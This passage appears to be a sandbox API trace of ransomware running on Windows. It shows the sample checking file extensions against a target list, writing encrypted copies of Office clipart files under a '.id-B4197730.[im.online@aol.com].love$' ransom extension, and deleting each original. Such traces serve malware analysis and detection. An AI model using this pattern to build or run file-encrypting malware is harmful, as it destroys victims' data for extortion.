lpString2="_.WMF") returned -1 [0122.123] lstrlenW (lpString=".pdf") returned 4 [0122.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.123] lstrlenW (lpString=".xls") returned 4 [0122.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.123] lstrlenW (lpString=".xlsx") returned 5 [0122.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.123] lstrlenW (lpString=".ppt") returned 4 [0122.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.123] lstrlenW (lpString=".zip") returned 4 [0122.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.124] lstrlenW (lpString=".rar") returned 4 [0122.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString=".bz2") returned 4 [0122.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString=".7z") returned 3 [0122.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.124] lstrlenW (lpString=".dbf") returned 4 [0122.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.124] lstrlenW (lpString=".1cd") returned 4 [0122.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.124] lstrlenW (lpString=".jpg") returned 4 [0122.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.124] lstrlenW (lpString=".doc") returned 4 [0122.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString=".docx") returned 5 [0122.124] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.124] lstrlenW (lpString=".pdf") returned 4 [0122.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.124] lstrlenW (lpString=".xls") returned 4 [0122.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.124] lstrlenW (lpString=".xlsx") returned 5 [0122.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.124] lstrlenW (lpString=".ppt") returned 4 [0122.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.125] lstrlenW (lpString=".zip") returned 4 [0122.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.125] lstrlenW (lpString=".rar") returned 4 [0122.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.125] lstrlenW (lpString=".bz2") returned 4 [0122.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.125] lstrlenW (lpString=".7z") returned 3 [0122.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.125] lstrlenW (lpString=".dbf") returned 4 [0122.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.125] lstrlenW (lpString=".1cd") returned 4 [0122.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.125] lstrlenW (lpString=".jpg") returned 4 [0122.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.125] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.125] lstrlenW (lpString="BD00173_.WMF") returned 12 [0122.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.126] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16180) returned 1 [0122.126] CloseHandle (hObject=0x340) returned 1 [0122.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0122.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.126] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.126] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.127] GetLastError () returned 0x0 [0122.127] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x3f34, lpOverlapped=0x0) returned 1 [0122.130] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x3f40, lpOverlapped=0x0) returned 1 [0122.131] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.131] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.132] SetEndOfFile (hFile=0x3a0) returned 1 [0122.132] CloseHandle (hObject=0x3a0) returned 1 [0122.133] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.134] SetEndOfFile (hFile=0x340) returned 1 [0122.135] CloseHandle (hObject=0x340) returned 1 [0122.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0122.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.136] lstrlenW (lpString=".doc") returned 4 [0122.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString=".docx") returned 5 [0122.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.136] lstrlenW (lpString=".pdf") returned 4 [0122.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString=".xls") returned 4 [0122.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.136] lstrlenW (lpString=".xlsx") returned 5 [0122.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.136] lstrlenW (lpString=".ppt") returned 4 [0122.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.136] lstrlenW (lpString=".zip") returned 4 [0122.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.136] lstrlenW (lpString=".rar") returned 4 [0122.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString=".bz2") returned 4 [0122.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString=".7z") returned 3 [0122.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.136] lstrlenW (lpString=".dbf") returned 4 [0122.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.137] lstrlenW (lpString=".1cd") returned 4 [0122.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.137] lstrlenW (lpString=".jpg") returned 4 [0122.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.137] lstrlenW (lpString=".doc") returned 4 [0122.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString=".docx") returned 5 [0122.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.137] lstrlenW (lpString=".pdf") returned 4 [0122.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString=".xls") returned 4 [0122.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.137] lstrlenW (lpString=".xlsx") returned 5 [0122.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.137] lstrlenW (lpString=".ppt") returned 4 [0122.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.137] lstrlenW (lpString=".zip") returned 4 [0122.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.137] lstrlenW (lpString=".rar") returned 4 [0122.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString=".bz2") returned 4 [0122.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.137] lstrlenW (lpString=".7z") returned 3 [0122.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.138] lstrlenW (lpString=".dbf") returned 4 [0122.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.138] lstrlenW (lpString=".1cd") returned 4 [0122.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0122.138] lstrlenW (lpString=".jpg") returned 4 [0122.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.138] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.138] lstrlenW (lpString="BD05119_.WMF") returned 12 [0122.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.139] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=17236) returned 1 [0122.139] CloseHandle (hObject=0x340) returned 1 [0122.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0122.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.140] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.140] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.145] GetLastError () returned 0x0 [0122.145] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x4354, lpOverlapped=0x0) returned 1 [0122.325] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x4360, lpOverlapped=0x0) returned 1 [0122.326] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.326] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.326] SetEndOfFile (hFile=0x3a0) returned 1 [0122.327] CloseHandle (hObject=0x3a0) returned 1 [0122.440] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.440] SetEndOfFile (hFile=0x340) returned 1 [0122.441] CloseHandle (hObject=0x340) returned 1 [0122.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0122.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.442] lstrlenW (lpString=".doc") returned 4 [0122.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.442] lstrlenW (lpString=".docx") returned 5 [0122.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.442] lstrlenW (lpString=".pdf") returned 4 [0122.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.442] lstrlenW (lpString=".xls") returned 4 [0122.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.442] lstrlenW (lpString=".xlsx") returned 5 [0122.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.442] lstrlenW (lpString=".ppt") returned 4 [0122.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString=".zip") returned 4 [0122.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.443] lstrlenW (lpString=".rar") returned 4 [0122.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString=".bz2") returned 4 [0122.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString=".7z") returned 3 [0122.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString=".dbf") returned 4 [0122.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString=".1cd") returned 4 [0122.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString=".jpg") returned 4 [0122.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.443] lstrlenW (lpString=".doc") returned 4 [0122.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.443] lstrlenW (lpString=".docx") returned 5 [0122.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.443] lstrlenW (lpString=".pdf") returned 4 [0122.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString=".xls") returned 4 [0122.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.444] lstrlenW (lpString=".xlsx") returned 5 [0122.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.444] lstrlenW (lpString=".ppt") returned 4 [0122.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.444] lstrlenW (lpString=".zip") returned 4 [0122.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.444] lstrlenW (lpString=".rar") returned 4 [0122.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString=".bz2") returned 4 [0122.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString=".7z") returned 3 [0122.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.444] lstrlenW (lpString=".dbf") returned 4 [0122.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.444] lstrlenW (lpString=".1cd") returned 4 [0122.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0122.444] lstrlenW (lpString=".jpg") returned 4 [0122.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.445] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.445] lstrlenW (lpString="BD09031_.WMF") returned 12 [0122.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.446] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=47786) returned 1 [0122.446] CloseHandle (hObject=0x340) returned 1 [0122.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0122.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.446] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.446] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.447] GetLastError () returned 0x0 [0122.447] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0122.456] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0122.458] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.458] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.458] SetEndOfFile (hFile=0x3a0) returned 1 [0122.459] CloseHandle (hObject=0x3a0) returned 1 [0122.461] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.461] SetEndOfFile (hFile=0x340) returned 1 [0122.463] CloseHandle (hObject=0x340) returned 1 [0122.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0122.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0122.463] lstrlenW (lpString=".doc") returned 4 [0122.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString=".docx") returned 5 [0122.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.464] lstrlenW (lpString=".pdf") returned 4 [0122.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString=".xls") returned 4 [0122.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.464] lstrlenW (lpString=".xlsx") returned 5 [0122.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.464] lstrlenW (lpString=".ppt") returned 4 [0122.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.464] lstrlenW (lpString="C:\\Program Files\\Microsoft 